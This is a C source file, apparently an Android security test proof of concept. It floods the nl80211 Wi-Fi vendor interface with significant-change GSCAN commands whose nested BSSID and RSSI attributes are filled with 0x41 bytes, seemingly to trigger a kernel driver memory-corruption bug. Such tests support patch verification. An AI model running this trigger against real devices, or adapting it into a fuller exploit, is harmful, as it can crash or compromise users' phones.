| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <errno.h> |
| #include <unistd.h> |
| #include <signal.h> |
| #include <sys/types.h> |
| #include <sys/socket.h> |
| #include <linux/netlink.h> |
| |
| #include <netlink/netlink.h> |
| #include <netlink/genl/genl.h> |
| #include <netlink/genl/ctrl.h> |
| #include <net/if.h> |
| #include <linux/nl80211.h> |
| |
| #define OUI_GOOGLE 0x001A11 |
| #define ANDROID_NL80211_SUBCMD_RTT_RANGE_START 0x1100 |
| #define F1_32 0x41414141 |
| #define WL_CHANSPEC_BW_80 0x2000 |
| |
| enum wl_vendor_subcmd { |
| BRCM_VENDOR_SCMD_UNSPEC, |
| BRCM_VENDOR_SCMD_PRIV_STR, |
| GSCAN_SUBCMD_GET_CAPABILITIES = 0x1000, |
| GSCAN_SUBCMD_SET_CONFIG, |
| GSCAN_SUBCMD_SET_SCAN_CONFIG, |
| GSCAN_SUBCMD_ENABLE_GSCAN, |
| GSCAN_SUBCMD_GET_SCAN_RESULTS, |
| GSCAN_SUBCMD_SCAN_RESULTS, |
| GSCAN_SUBCMD_SET_HOTLIST, |
| GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG, |
| GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS, |
| GSCAN_SUBCMD_GET_CHANNEL_LIST, |
| ANDR_WIFI_SUBCMD_GET_FEATURE_SET, |
| ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX, |
| ANDR_WIFI_RANDOM_MAC_OUI, |
| ANDR_WIFI_NODFS_CHANNELS, |
| ANDR_WIFI_SET_COUNTRY, |
| GSCAN_SUBCMD_SET_EPNO_SSID, |
| WIFI_SUBCMD_SET_SSID_WHITELIST, |
| WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS, |
| WIFI_SUBCMD_ENABLE_LAZY_ROAM, |
| WIFI_SUBCMD_SET_BSSID_PREF, |
| WIFI_SUBCMD_SET_BSSID_BLACKLIST, |
| GSCAN_SUBCMD_ANQPO_CONFIG, |
| WIFI_SUBCMD_SET_RSSI_MONITOR, |
| RTT_SUBCMD_SET_CONFIG = 0x1100, |
| RTT_SUBCMD_CANCEL_CONFIG, |
| RTT_SUBCMD_GETCAPABILITY, |
| LSTATS_SUBCMD_GET_INFO = 0x1200, |
| DEBUG_START_LOGGING = 0x1400, |
| DEBUG_TRIGGER_MEM_DUMP, |
| DEBUG_GET_MEM_DUMP, |
| DEBUG_GET_VER, |
| DEBUG_GET_RING_STATUS, |
| DEBUG_GET_RING_DATA, |
| DEBUG_GET_FEATURE, |
| DEBUG_RESET_LOGGING, |
| WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE = 0x1600, |
| WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE, |
| /* Add more sub commands here */ |
| VENDOR_SUBCMD_MAX |
| }; |
| |
| enum debug_attributes { |
| DEBUG_ATTRIBUTE_GET_DRIVER, |
| DEBUG_ATTRIBUTE_GET_FW, |
| DEBUG_ATTRIBUTE_RING_ID, |
| DEBUG_ATTRIBUTE_RING_NAME, |
| DEBUG_ATTRIBUTE_RING_FLAGS, |
| DEBUG_ATTRIBUTE_LOG_LEVEL, |
| DEBUG_ATTRIBUTE_LOG_TIME_INTVAL, |
| DEBUG_ATTRIBUTE_LOG_MIN_DATA_SIZE, |
| DEBUG_ATTRIBUTE_FW_DUMP_LEN, |
| DEBUG_ATTRIBUTE_FW_DUMP_DATA, |
| DEBUG_ATTRIBUTE_RING_DATA, |
| DEBUG_ATTRIBUTE_RING_STATUS, |
| DEBUG_ATTRIBUTE_RING_NUM |
| }; |
| |
| |
| enum gscan_attributes { |
| GSCAN_ATTRIBUTE_NUM_BUCKETS = 10, |
| GSCAN_ATTRIBUTE_BASE_PERIOD, |
| GSCAN_ATTRIBUTE_BUCKETS_BAND, |
| GSCAN_ATTRIBUTE_BUCKET_ID, |
| GSCAN_ATTRIBUTE_BUCKET_PERIOD, |
| GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS, |
| GSCAN_ATTRIBUTE_BUCKET_CHANNELS, |
| GSCAN_ATTRIBUTE_NUM_AP_PER_SCAN, |
| GSCAN_ATTRIBUTE_REPORT_THRESHOLD, |
| GSCAN_ATTRIBUTE_NUM_SCANS_TO_CACHE, |
| GSCAN_ATTRIBUTE_BAND = GSCAN_ATTRIBUTE_BUCKETS_BAND, |
| GSCAN_ATTRIBUTE_ENABLE_FEATURE = 20, |
| GSCAN_ATTRIBUTE_SCAN_RESULTS_COMPLETE, |
| GSCAN_ATTRIBUTE_FLUSH_FEATURE, |
| GSCAN_ATTRIBUTE_ENABLE_FULL_SCAN_RESULTS, |
| GSCAN_ATTRIBUTE_REPORT_EVENTS, |
| /* remaining reserved for additional attributes */ |
| GSCAN_ATTRIBUTE_NUM_OF_RESULTS = 30, |
| GSCAN_ATTRIBUTE_FLUSH_RESULTS, |
| GSCAN_ATTRIBUTE_SCAN_RESULTS, /* flat array of wifi_scan_result */ |
| GSCAN_ATTRIBUTE_SCAN_ID, /* indicates scan number */ |
| GSCAN_ATTRIBUTE_SCAN_FLAGS, /* indicates if scan was aborted */ |
| GSCAN_ATTRIBUTE_AP_FLAGS, /* flags on significant change event */ |
| GSCAN_ATTRIBUTE_NUM_CHANNELS, |
| GSCAN_ATTRIBUTE_CHANNEL_LIST, |
| /* remaining reserved for additional attributes */ |
| GSCAN_ATTRIBUTE_SSID = 40, |
| GSCAN_ATTRIBUTE_BSSID, |
| GSCAN_ATTRIBUTE_CHANNEL, |
| GSCAN_ATTRIBUTE_RSSI, |
| GSCAN_ATTRIBUTE_TIMESTAMP, |
| GSCAN_ATTRIBUTE_RTT, |
| GSCAN_ATTRIBUTE_RTTSD, |
| /* remaining reserved for additional attributes */ |
| GSCAN_ATTRIBUTE_HOTLIST_BSSIDS = 50, |
| GSCAN_ATTRIBUTE_RSSI_LOW, |
| GSCAN_ATTRIBUTE_RSSI_HIGH, |
| GSCAN_ATTRIBUTE_HOSTLIST_BSSID_ELEM, |
| GSCAN_ATTRIBUTE_HOTLIST_FLUSH, |
| /* remaining reserved for additional attributes */ |
| GSCAN_ATTRIBUTE_RSSI_SAMPLE_SIZE = 60, |
| GSCAN_ATTRIBUTE_LOST_AP_SAMPLE_SIZE, |
| GSCAN_ATTRIBUTE_MIN_BREACHING, |
| GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS, |
| GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_FLUSH, |
| /* EPNO */ |
| GSCAN_ATTRIBUTE_EPNO_SSID_LIST = 70, |
| GSCAN_ATTRIBUTE_EPNO_SSID, |
| GSCAN_ATTRIBUTE_EPNO_SSID_LEN, |
| GSCAN_ATTRIBUTE_EPNO_RSSI, |
| GSCAN_ATTRIBUTE_EPNO_FLAGS, |
| GSCAN_ATTRIBUTE_EPNO_AUTH, |
| GSCAN_ATTRIBUTE_EPNO_SSID_NUM, |
| GSCAN_ATTRIBUTE_EPNO_FLUSH, |
| /* Roam SSID Whitelist and BSSID pref */ |
| GSCAN_ATTRIBUTE_WHITELIST_SSID = 80, |
| GSCAN_ATTRIBUTE_NUM_WL_SSID, |
| GSCAN_ATTRIBUTE_WL_SSID_LEN, |
| GSCAN_ATTRIBUTE_WL_SSID_FLUSH, |
| GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM, |
| GSCAN_ATTRIBUTE_NUM_BSSID, |
| GSCAN_ATTRIBUTE_BSSID_PREF_LIST, |
| GSCAN_ATTRIBUTE_BSSID_PREF_FLUSH, |
| GSCAN_ATTRIBUTE_BSSID_PREF, |
| GSCAN_ATTRIBUTE_RSSI_MODIFIER, |
| /* Roam cfg */ |
| GSCAN_ATTRIBUTE_A_BAND_BOOST_THRESHOLD = 90, |
| GSCAN_ATTRIBUTE_A_BAND_PENALTY_THRESHOLD, |
| GSCAN_ATTRIBUTE_A_BAND_BOOST_FACTOR, |
| GSCAN_ATTRIBUTE_A_BAND_PENALTY_FACTOR, |
| GSCAN_ATTRIBUTE_A_BAND_MAX_BOOST, |
| GSCAN_ATTRIBUTE_LAZY_ROAM_HYSTERESIS, |
| GSCAN_ATTRIBUTE_ALERT_ROAM_RSSI_TRIGGER, |
| GSCAN_ATTRIBUTE_LAZY_ROAM_ENABLE, |
| /* BSSID blacklist */ |
| GSCAN_ATTRIBUTE_BSSID_BLACKLIST_FLUSH = 100, |
| GSCAN_ATTRIBUTE_BLACKLIST_BSSID, |
| GSCAN_ATTRIBUTE_ANQPO_HS_LIST = 110, |
| GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE, |
| GSCAN_ATTRIBUTE_ANQPO_HS_NETWORK_ID, |
| GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM, |
| GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID, |
| GSCAN_ATTRIBUTE_ANQPO_HS_PLMN, |
| /* Adaptive scan attributes */ |
| GSCAN_ATTRIBUTE_BUCKET_STEP_COUNT = 120, |
| GSCAN_ATTRIBUTE_BUCKET_MAX_PERIOD, |
| GSCAN_ATTRIBUTE_MAX |
| }; |
| |
| |
| #define ETHER_ADDR_LEN 6 |
| struct _ether_addr { |
| uint8_t octet[ETHER_ADDR_LEN]; |
| }; |
| |
| static int l1; |
| static int l2; |
| static void test(struct nl_sock *socket, int d_id, int if_index) |
| { |
| struct nl_msg *msg; |
| struct nl_cb *cb; |
| struct nl_msg *vendor_cmd, *nested_msg; |
| struct nlattr *nl_vendor_cmds, *nested, *nested2, *nested3; |
| int err, i, j = 0, k = 0, ret; |
| struct _ether_addr mac; |
| memset(&mac, 0x41, sizeof(mac)); |
| |
| // Allocate the messages and callback handler. |
| for (j = l1; j < 1024; j++) { |
| for(k = l2; k < 128; k++) { |
| msg = nlmsg_alloc_size(16384); |
| if (!msg) { |
| exit(EXIT_FAILURE); |
| } |
| |
| genlmsg_put(msg, 0, 0, d_id, 0, 0, NL80211_CMD_VENDOR, 0); |
| nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index); |
| nla_put_u32(msg, NL80211_ATTR_WIPHY, 0); |
| nla_put_u64(msg, NL80211_ATTR_WDEV, 1); |
| nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE); |
| nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG); |
| |
| /* construct the vendor cmd */ |
| nl_vendor_cmds = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA); |
| |
| nested = nla_nest_start(msg, GSCAN_ATTRIBUTE_SIGNIFICANT_CHANGE_BSSIDS); |
| for (i = 0; i < j; i++) { |
| nested2 = nla_nest_start(msg, i); |
| nla_nest_end(msg, nested2); |
| } |
| for (i = 0; i < k; i++) { |
| nested2 = nla_nest_start(msg, i); |
| nla_put(msg, GSCAN_ATTRIBUTE_BSSID, sizeof(mac), &mac); |
| nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_LOW, 0x41); |
| nla_put_u8(msg, GSCAN_ATTRIBUTE_RSSI_HIGH, 0x41); |
| nla_nest_end(msg, nested2); |
| } |
| nla_nest_end(msg, nested); |
| nla_nest_end(msg, nl_vendor_cmds); |
| |
| nl_send_auto_complete(socket, msg); |
| nlmsg_free(msg); |
| } |
| } |
| } |
| |
| int main(int argc, char **argv) |
| { |
| int if_index = if_nametoindex("wlan0"); // Use this wireless interface for scanning. |
| l1 = 157; |
| l2 = 0; |
| // Open socket to kernel. |
| struct nl_sock *socket = nl_socket_alloc(); // Allocate new netlink socket in memory. |
| genl_connect(socket); // Create file descriptor and bind socket. |
| int driver_id = genl_ctrl_resolve(socket, "nl80211"); // Find the nl80211 driver ID. |
| |
| test(socket, driver_id, if_index); |
| } |